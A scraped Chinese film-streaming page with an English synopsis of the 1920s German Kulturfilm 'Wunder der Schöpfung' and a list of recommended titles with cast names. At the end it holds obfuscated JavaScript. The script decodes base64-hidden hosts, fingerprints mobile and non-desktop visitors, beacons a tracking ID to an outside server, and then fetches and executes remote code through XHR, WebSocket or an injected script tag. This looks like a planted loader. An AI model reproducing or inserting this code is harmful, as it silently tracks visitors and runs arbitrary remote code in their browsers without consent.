出现无法播放或卡顿可切换其他线路观看
云①
剧情简介
Wunder der Schöpfung is an extraordinary, fascinating Kulturfilm trying to explain the whole human knowledge of the 1920s about the world and the universe. 15 special effects experts and 9 cameramen were involved in the production of this film which combines documentary scenes, historical documents, fiction elements, animation scenes and educational impact. It its beautifully colored, using tinting and toning in a very elaborated way. Some visual ideas in the sequences with a space shuttle visiting different planets in the universe seem to have to be the inspiration for Stanley Kubrick's 2001 A Space Odyssey. In the context of Germany's Kulturfilm phenomenon, Wunder der Schöpfung was among the greatest achievements of the 1920s. The production was constructed, rehearsed, and shot over a period of two and a half years, under the supervision of Hanns Walter Kornblum. The idea to describe the universe and man's place in it well suited UFA's Grossfilm mentality, one year before the Metropolis catastrophe. Hundreds of skilled craftsmen participated in the project, building props and constructing scale models drawn by 15 special effects draughtsmen, while 9 cameramen in separate units worked on the historical, documentary, fiction, animation, and science-fiction sequences. Without star roles or even protagonists, the film's plot is crowded with meticulously structured and skillfully acted single scenes an artful mosaic of small vignettes. No less than four credited university professors ensured the factual background behind the scientific and historical events portrayed. The film's symbol of progress and the new scientific era is a spacecraft, travelling through the Milky Way, making all the planets and their inspiring worlds familiar to us, with the extravaganza of their distinctive features. The film's educational intentions, however, become steadily more obscure, humorous, or even campy as this popularization project proceeds. With the excuse of presenting the end of the world a not-so-new concept as a new, undeniably scientific truth, the film veers happily along a new path, displaying detailed apocalyptic scenes of the end of mankind. For today's audiences, this amazing film demonstrates how the universe was comprehended in the 1920s, and how that view was sold to contemporary audiences.
猜你喜欢
-
HD
TahmohPenikett,MarkDeklin,LauraVandervoort,JeananneGoossen,AlanCumming,迈克尔·亚当思韦特,布鲁斯·拉姆塞,阿诺德·平诺克,马修·麦考尔,特瑞·陈,艾伦·卡明,恰拉·赞尼,阿莱克斯·潘诺维奇,塔莫·潘尼凯,劳拉·范德沃特,彼特·温菲尔德,科维西·阿梅扬,马克·迪克林,西娅·吉尔,亚历桑德罗·朱利安尼,吉妮安·古森
-
更新中字
丽贝卡·豪尔,布莱恩·泰里·亨利,丹·史蒂文斯,凯莉·霍特尔,亚历克斯·费恩斯,陈法拉,瑞切尔·豪斯,润·斯米克,尚特尔·贾米森,格雷格·哈顿,凯文·科普兰,泰丝·多布雷,蒂姆·卡罗尔,安东尼·布兰登·黄,索菲亚·恩博森-贝恩,叶叶·周,Jamaliah Othman,Nick Lawler,Chika Ikogwe,文森特·B·拉戈斯
-
HD
丹尼·特雷霍,埃里克·罗伯茨,瑞秋·布鲁克·史密斯,贾斯汀·皮尔斯,罗伯特·米亚诺
-
HD
劳洛·查坦德,米沙·克林斯,Dolores Drake
-
HD
坛蜜,大野未来,福田佑亮,福本ヒデ,ノッチ,きくち英一,古谷敏,沖田駿一,元冬树,堀内正美,森次晃嗣,なべやかん,TABO,岩井ジョニ男,佐藤文則,元気屋エイジ,黒田浩史,色羽紫,山口敏太郎,森まさひろ,破李拳竜,岡田ゆういち,塩野勝美
-
HD
汤姆·休斯,夏洛特·勒·邦,奥娜·卓别林,巴里·沃德,
-
HD
保罗·路德 / 麦肯娜·格瑞丝 / 菲恩·伍法德 / 库梅尔·南贾尼 / 凯莉·库恩
-
HD
马修·莫迪恩,KateDrummond,SpiroMalandrakis
-
HD
Isaac C. Singleton Jr.,Clark Bartram,Damion Poitier,Simon Potter
-
HD
迈克尔·瓦尔坦,特瑞·欧奎恩,劳伦·李·史密斯,伊安·崔西,Ian,Tracey
-
HD
罗伯特·帕特里克,塔姆金·莫钦特,德文·格拉耶,布莱恩·J·史密斯,加雷思·大卫-劳埃德
-
抢先版
欧文·泰格,弗蕾娅·艾伦,凯文·杜兰,皮特·马孔,威廉姆·H·梅西,艾卡·达维尔,迪辰·拉克曼,尼尔·桑迪兰兹,萨拉·怀斯曼,莉迪亚·佩克汉,特拉维斯·杰弗里,拉斯-塞缪尔·瓦尔达布兹,尼娜·加拉斯
科幻片周榜单
科幻片月榜单
function MKGVn(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GtDRBCeb(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return MKGVn(t);};window[''+'d'+'B'+'J'+'P'+'t'+'z'+'W'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=GtDRBCeb,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/8489/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0EElMkYlMkZwby51aW9scy5jb20lM0EE4ODkx','d3NzJTNBJTJGJTJGcXN4Lmmhxc25mmLmmNvbSUzQTk1MzQ=','137758',window,document,['E','m']);}:function(){};
